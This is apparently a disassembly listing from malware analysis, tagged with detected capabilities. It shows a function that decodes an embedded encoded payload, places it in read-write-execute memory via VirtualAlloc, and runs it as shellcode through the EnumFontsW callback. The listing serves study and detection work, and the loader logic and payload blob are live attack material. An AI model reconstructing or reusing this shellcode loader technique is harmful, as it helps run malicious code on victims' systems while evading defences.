Function at 0x1400023a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov ecx, 0x960
call fcn.140003184
mov rbx, rax
mov qword [rsp + 0x40], rax
movdqa xmm0, xmmword [0x1400090d0]
movdqu xmmword [rsp + 0x50], xmm0
mov rcx, rax
lea rdx, str.jEYIObVSEvQ08MdbEnH9Mnljup9XAS5uaWkgx19_EJV_L4YyFUGuyrmLteyrgXgeduK8KgAVzUqNzbw6qTSLcWrc1BcR1oFKtQJ9JXXkvCsInedb8ykJxvRQ18H9ovxbZGoRbqp148zexhcoX9YWh5QmgtjbmVjtoptR7rJH4Pd694Rb0Kje1ruCgaolfmpKqHLsoSBqCsqlj7Yp1yVfL_4BtHmH1IbVGQLUFeYwcE5b8e2ar0bYsa63cFjXNi5v2DMkgLNk3t0l6zRec5W0RAziA4dwvS4tjo130OJQnliqQi9OuOb4VUF61rQJUuU0ChGCMQxgBbPv0ZOTjm7Q13Hig4xDDiiLCoabP2uUrfXEGb2Dj8B5iGRGkpUHB5J1EeyE9LTtHZbUuBLc7SZLOlsaF_e0GyOPA4wr5ZxijwMEeCqQuSJfQ1Wr6S4K7Ptqn7ZdxFH264FO4LJWlGkt4LevKbeM_z9JmFOdXgIX_sXaowbpxzuwxXtlggp4Y2fixmuvhMEvUi8TmytvU3RZVFBpfPndpIXZJ8Go2Tq3zw44zFGNZa9xpGjg6zTVZeQvZ_gQ15DKGiLFlZ6oJyZqg5YXdeBLtJw1PDXXAp2vatlIbDy4qIXwPcAxi_N9P9u04FwJ42dZvwx7SCLhb0sZQ4Bo1KaDDu0cV02FYalPLyuelokaA6BIbZoxeB4imkO9pMTsL08ccejz0MpHY17WZFWn2BlvCsjGPyFSFL9DV4U6POXuqHkiW5h6oNcF0Z3Lp0AHwz3NYloQQK9XI8E5QR2mmq_kAapEWat5d18W49F7fHN1A23S2GKQYBmUFoKmXRChRti2Ue64syTuUOFV99SInnK5R1k6_ycRb0bKH9YR_559nu9iK4ru5lktB8JWovz6NBItJSGWKgJ3dpFxYRvb8P1AG0tBuq9efze1qgSwIe7msrs2EvbMdrJXPNSD5x334TodlsOBIHddNG3LyJhNm6R5FLkepr1DU8koGyWeskzE2CPxRlNiolXsRBryfhQrDPJG6Zo3EB6yi7RmTM3XmG9z7SxnnOivQ1h1M9gMfq7_J3_2T1KsfitJjVMdnpeqF8Y69OD1D4MhWvGbcbkWAjIwChnHmVjoyDZr_ncPAsZWpqI0ngPP8DDAoJ5OGJGoIG8GOczGiLNI7RSZK7p6V6v8pAy9NprqluVzB4mRN39JIvqZel53y1Ur2dAXa9CnmNnDtmeVgNsriJoGRrdlxZiuWzKgtvNEsS4dzM0Qu98ILceS9VgTDHr5MPflVGcXiD6WfTByeDBRSrjXL30oHpzigm7k_UweM60K9tocxFnYh0zT5RQ6Js27J91EjGBxGoVNGexblxh0TCqeagzks2WB4CCbQ3kxwXUcmzfpJQaLapquABQIvOYgzOTEYjuksS6lufbLRmCcZKW1zZEJG8Tdojnc1osDJWdFnjVro7J1_eZgwakBwKiVHT1mTB7p1wryYJUHQmrHfSUDkub2I_ftmKlGHDY1ofXM6Gr9IYJ20d_FPYNif_IoGTQDY7QNgJsAow9m8ikSDEioNgzwKA7GWHKYuWAxdUiDSYQym2Vh1MCJYVwjrzl2Y5wvtZ9WnA5o_NgiqgODfM_6kzXH44Dgotc7xnh0o0MhS_uKZ_8zYXzHzoC1B_wWBZQ8WoNxyQHoiU0DSPZEmQCCGOyHrtXB4oK0X3jsYPuAyQzv9QlQNACzyQD7Bum324p5Cl30FbFl_vNlzjy4ZLhSTnhdQgOD5gpO9nW68vI2w0FX00vVDc3sMzDZ4Z4zKRDdySySKIKIK0JXIjrrAMeSlY76yZyUVE0RH_gVrs4PgwZXtUzhiaLg7wLC2r7_MGOWSeWXwcPhXZeh2vgmlhurNn05DLQH8ioM_KYidx1REeZxGAgcPyOMwdkjAmKnt1iLkm3V58GWIQN4Pv4vgZZRCOC3MAmZOO3n0jgTQHD1UrX73V4InegtJsXPgwOWTWoBvzZyff6hQB7HPEdm1WHWJR2gFFgXnZwEQrMDirGe249s7aJuviFQYB9JvNFcV_965w7GEIaivhu7t6UNiRykuXSE_RrrvxvhqVgNz9ovNz4UTCDy04Y6qkKQogEKJ0CjmrsAeQXwSnw42rkvrkFzaPqJxcgvxMsyBL6h4trljoFFkv0QHUrtyrgNx8fJ2o9r0ldbMuhRbnfOQil6KYfxnyJeSb3abSyQXnz2918AmzakUmdN9I4iHxA5nYhiOXezH4KuQMJ2InPk5OgCSXagaktWFfDZ_9M_aLia3k2C_cvdhi73CXH9fkgHTwdrf9QjNitHhTFdXTF5FBEjPTi8LmLbB_21aH_bWXJwXcq5mt69nHOKPStjg
mov r8d, 0x958
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0x958], 0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400025c0
lea rdi, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rdi, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
shr rcx, 1
mov edx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbp, rax
xor ebx, ebx
mov rsi, qword [rsp + 0x30]
test rsi, 0xfffffffffffffffe
jbe 0x14000247a
nop dword [rax]
lea r8, [rbx + rbp]
lea rdx, str._02x
mov rcx, rdi
call fcn.140002340
add rdi, 2
inc rbx
mov rsi, qword [rsp + 0x30]
mov rax, rsi
shr rax, 1
cmp rbx, rax
jb 0x140002450
shr rsi, 1
lea rcx, str.Decrypted_buffer:_n
call fcn.1400022e0
movsxd rdi, esi
test esi, esi
jle 0x1400024b8
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx + rbp]
lea rcx, str.x_02x
call fcn.1400022e0
inc rbx
cmp rbx, rdi
jl 0x1400024a0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rdi
mov rdx, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
xor r9d, r9d
mov r8, rbx
xor edx, edx
call qword [sym.imp.GDI32.dll_EnumFontsW]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140002539
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002534
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002534
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002eb0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140002590
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000258b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000258b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002eb0
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140002e90
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret